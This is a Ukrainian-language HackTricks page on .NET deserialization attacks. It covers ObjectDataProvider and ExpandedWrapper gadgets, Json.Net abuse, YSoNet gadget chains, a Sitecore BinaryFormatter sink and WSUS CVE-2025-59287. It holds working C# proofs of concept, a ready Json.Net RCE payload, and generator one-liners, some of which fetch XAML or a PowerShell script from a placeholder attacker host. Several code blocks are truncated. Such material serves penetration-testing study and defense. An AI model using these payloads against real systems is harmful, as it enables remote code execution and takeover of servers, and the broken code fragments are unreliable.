Базова .Net десеріалізація (ObjectDataProvider gadget, ExpandedWrapper та Json.Net)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця публікація присвячена тому, щоб зрозуміти, як експлуатується гаджет ObjectDataProvider для отримання RCE та як бібліотеки серіалізації Json.Net і xmlSerializer можуть бути зловживані разом із цим гаджетом.
Гаджет ObjectDataProvider
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Так, це дивне пояснення, тож подивімося, що в цьому класі такого цікавого: цей клас дозволяє обгорнути довільний об’єкт, використовувати MethodParameters для встановлення довільних параметрів, а потім використовувати MethodName для виклику довільної функції цього довільного об’єкта з переданими параметрами.
Отже, довільний об’єкт буде виконувати функцію з параметрами під час десеріалізації.
Як це можливо
The System.Windows.Data namespace, found within the PresentationFramework.dll at C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is where the ObjectDataProvider is defined and implemented.
За допомогою dnSpy ви можете переглянути код потрібного класу. На зображенні нижче показано код PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name
.png)
Як видно, коли встановлюється MethodName, викликається base.Refresh() — давайте подивимось, що саме він робить:
.png)
Добре, продовжимо і подивімось, що робить this.BeginQuery(). BeginQuery перевизначений у ObjectDataProvider, і ось що він робить:
.png)
Зверніть увагу, що наприкінці коду викликається this.QueryWorke(null). Подивімось, що це виконує:
.png)
Зверніть увагу, що це не повний код функції QueryWorker, але показано її цікаву частину: код викликає this.InvokeMethodOnInstance(out ex); — це рядок, у якому виконується виклик встановленого методу.
Якщо ви хочете переконатися, що просто встановивши MethodName він буде виконаний, ви можете запустити цей код:
C# демо: ObjectDataProvider ініціює Process.Start
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Зверніть увагу, що потрібно додати як посилання _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ щоб завантажити `System.Windows.Data`
## ExpandedWrapper
При використанні попереднього експлойту будуть випадки, коли **об'єкт** буде **десеріалізовано як** екземпляр _**ObjectDataProvider**_ (наприклад у DotNetNuke vuln, при використанні XmlSerializer об'єкт десеріалізувався за допомогою `GetType`). У такому разі не буде **знань про тип об'єкта, що загорнутий** в екземплярі _ObjectDataProvider_ (наприклад `Process`). Ви можете знайти більше [інформації про DotNetNuke vuln тут](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Цей клас дозволяє **вказати типи об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції вихідного об'єкта (_ObjectDataProvider_) у новий тип об'єкта та надати потрібні нам властивості (_ObjectDataProvider.MethodName_ і _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, як той, що наведено вище, тому що ми зможемо **обгорнути \_ObjectDataProvider**_** всередині екземпляра **_**ExpandedWrapper** \_ і **при десеріалізації** цей клас **створить** _**OjectDataProvider**_ об'єкт, який **виконає** **функцію**, вказану в _**MethodName**_.
Ви можете перевірити цей wrapper за допомогою наступного коду:
<details>
<summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
На official web page вказано, що ця бібліотека дозволяє Serialize and deserialize any .NET object with Json.NET’s powerful JSON serializer. Отже, якщо ми зможемо deserialize the ObjectDataProvider gadget, ми зможемо спричинити RCE просто deserializing an object.
Json.Net example
Насамперед подивимось приклад того, як serialize/deserialize об’єкт за допомогою цієї бібліотеки:
C# demo: Json.NET serialize/deserialize
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Зловживання Json.Net
За допомогою [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
У цьому коді ви можете test the exploit, просто запустіть його, і ви побачите, що запускається calc:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — це лише один з БАГАТЬОХ gadget chain'ів, які можна зловживати, коли програма виконує **unsafe .NET deserialization**. Сучасні red-team інструменти, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (і старіший [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих об'єктних графів** для десятків gadgets та форматів серіалізації.
Нижче наведено стислений довідник найкорисніших ланцюжків, що постачаються з *YSoNet*, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації payload'ів.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder` так, що після матеріалізації делегат вказує на *будь-який* метод, заданий атакуючим (наприклад, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти фільтрацію типів .NET ≥4.8* та безпосередньо викликати **конструктор** заданого класу або **скомпілювати** C# файл на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Використовує **старе XML-представлення** `System.Data.DataSet` для інстанціювання довільних типів шляхом заповнення полів `<ColumnMapping>` / `<DataType>` (опційно підробляючи збірку за допомогою `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | На середовищах виконання з підтримкою WPF (> .NET 5) ланцюжить гетери властивостей до досягнення `System.CodeDom.Compiler.CompilerResults`, після чого *компілює* або *завантажує* DLL, передану через `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Використовує WPF `System.Windows.Data.ObjectDataProvider` для виклику довільного статичного методу з контрольованими аргументами. YSoNet додає зручний варіант `--xamlurl` для розміщення шкідливого XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` в `System.Management.Automation.PSObject`, який виконується під час десеріалізації об'єкта в PowerShell | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Усі payloads за замовчуванням **виводяться в *stdout***, що робить простим їх перенаправлення в інші інструменти (наприклад, генератори ViewState, base64-енкодери, HTTP-клієнти).
### Building / Installing YSoNet
Якщо під *Actions ➜ Artifacts* / *Releases* немає попередньо зкомпільованих бінарників, наступний **PowerShell** однорядковий скрипт налаштує середовище збірки, склонує репозиторій і скомпілює все в режимі *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Скомпільований ysonet.exe можна знайти в ysonet/bin/Release/.
Реальний приклад sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Практичний .NET sink, доступний у аутентифікованих потоках Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)wrapsnew BinaryFormatter().Deserialize(...). - Trigger path: pipeline
convertToRuntimeHtml→ConvertWebControls, який шукає сусідній елемент зid="{iframeId}_inner"і читає атрибутvalue, який розглядається як base64‑закодовані серіалізовані дані. Результат приводиться до string і вставляється в HTML.
Аутентифікований Sitecore sink: HTTP-потік тригера
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: будь-яка BinaryFormatter chain, що повертає рядок (side‑effects run during deserialization). Див. YSoNet/ysoserial.net для генерації payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## Приклад: WSUS unsafe .NET deserialization (CVE-2025-59287)
- Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
- Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
- Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).
Практичні нотатки щодо експлуатації
- Discovery: Скануйте на наявність WSUS на TCP 8530/8531. Слід вважати будь-який pre-auth serialized blob, що потрапляє до WSUS web methods, потенційним sink для `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Використовуйте YSoNet/ysoserial.net для генерації `BinaryFormatter` або `SoapFormatter` chain-ів (наприклад, `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## Посилання
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>
HackTricks

